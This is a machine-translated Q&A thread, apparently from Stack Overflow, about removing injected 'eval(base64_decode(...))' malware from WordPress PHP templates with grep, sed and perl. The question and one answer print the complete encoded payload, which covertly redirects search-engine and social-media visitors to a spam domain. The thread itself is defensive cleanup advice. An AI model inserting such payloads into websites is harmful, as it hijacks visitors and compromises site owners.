0

大量の php インジェクションの後にクリーンアップしようとしています -- 約 6 つのサイトに相当する WordPress テンプレートのすべての php 関数がジャンクでいっぱいです。

私はサーバーからローカルマシンにすべてを持っています.端末で膨大なコード文字列をすべて削除する良い方法があることを願っています.

私はほとんど何も知りません。

http://devilsworkshop.org/remove-evalbase64decode-malicious-code-grep-sed-commands-files-linux-server/ には、サーバーでクリアを行うための適切な指示がありましたが、パス/to/フォルダーを置き換えても機能しませんターミナルで動作しているようです。

私は近くにいるように感じますが、私はターミナルの方法が見えないので、それほど慰めにはなりません.

上記に基づいて、これが私が得たものです-どんな助けも驚くほど高く評価されます.

grep -lr --include=*.php "eval(base64_decode" "/Users/Moxie/Desktop/portfolio-content" |     xargs sed -i.bak 's/<?php eval(base64_decode[^;]*;/<?php\n/g' 

更新しました

derobert -- これを手伝ってくれて本当にありがとう --

<?php基本的に、実際の関数がこれを挿入する前の すべての後のスペース:eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vd3d3LnN0bHAuNHB1LmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));

文字はそれぞれに変化するため、単純な検索と置換は機能しません (これがポイントであると確信しています)。

4

2 に答える 2

1

これが有効なソリューションとして証明された私のコードです。

すべてのファイルをローカル マシンにダウンロードし、ソリューションの作業を開始しました。これが私の解決策です{ゴーグルアウトしたものとの組み合わせ}

    #!/bin/bash
    FILES=$(find ./ -name "*.php" -type f)
    for f in $FILES
    do
    echo "Processing $f file LONG STRING"
    sed -i 's#eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20vbCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0KaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsNCmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly93a3BiLjI1dS5jb20vIik7DQpleGl0KCk7DQp9Cn0KfQ0KfQ0KfQ=="));##g' $f
    echo "Processing $f file SMALL STRING"
    sed -i 's#eval(base64_decode.*));##g' $f
    done

mybash.sh {お気に入りのテキスト エディターから} としてどこかに保存します。

    $ sudo chmod +x mybash.sh //execute permission for script
    $ ./mybash.sh

パターンが常に同じであるため、最初の LONG STRING を使用しました。上記コードの解説はこちら

  • s# - 開始区切り文字 {#-sed の規則と同じ / と同じ区切り文字}
  • eval(base64_decode. )); { 一致する最初のパターン、正規表現 [. - 任意の 1 文字に一致], [ - 直前の要素に 0 回以上一致]}
  • # - 区切り文字 {#} の 2 番目の出現。# が空の後、基本的には最初の文字列を置き換えることを意味します {eval(base64_decode.*));} WITH {''}
  • #g - コマンドの終わり、SED 構文
于 2012-12-14T22:13:56.070 に答える
0

そのため、誰かがサーバー上の任意のファイルへの書き込みアクセスを取得しました。それらを侵入させたエクスプロイトを既にクリーンアップしたと思います。

問題は、eval(base64_decode物が明らかであり、行かなければならない一方で、侵入者がそこに他の物を入れた可能性があることです. mysql_real_escape_string将来の SQL インジェクションに対して脆弱なままにするために、彼がどこかを削除したのかもしれません。または、htmlspecialcharsJavaScript インジェクションに対して脆弱になりますか? 何でもできたはずです。PHP でさえないかもしれません。JavaScript が追加されていませんか? それとも埋め込む?

確認する最善の方法は、既知の正常なコピーと比較することです。バージョン管理とバックアップはありますよね?

それ以外の場合は、実際に使用perl -pi -eしてその PHP コードを置き換えることができますが、場合によっては一致させるのが難しい場合があります。これは機能する可能性があり (コピーで機能します!)、必要に応じて正規表現の間隔を調整します。

perl -pi -e 's!<\?php eval\(base64_decode\(.*?\)\) \?>!!g' *.php

しかし実際には、各ファイルを手作業で調べて、他にエクスプロイトが存在しないことを確認する必要があります。最後の既知の正常なコピーが多少古い場合でも、差分を確認できます。

編集:

わかりました。それで、PHP ブロック全体を核攻撃したくないように思えます。eval 行だけです。

perl -pi -e 's!eval\(base64_decode\(.*?\)\);!!g' *.php

\n削除する改行などがある場合は、最初の行の前にa を追加することをお勧めし!ます。base64 に実際に改行がある場合はsg.

于 2012-08-27T16:51:24.290 に答える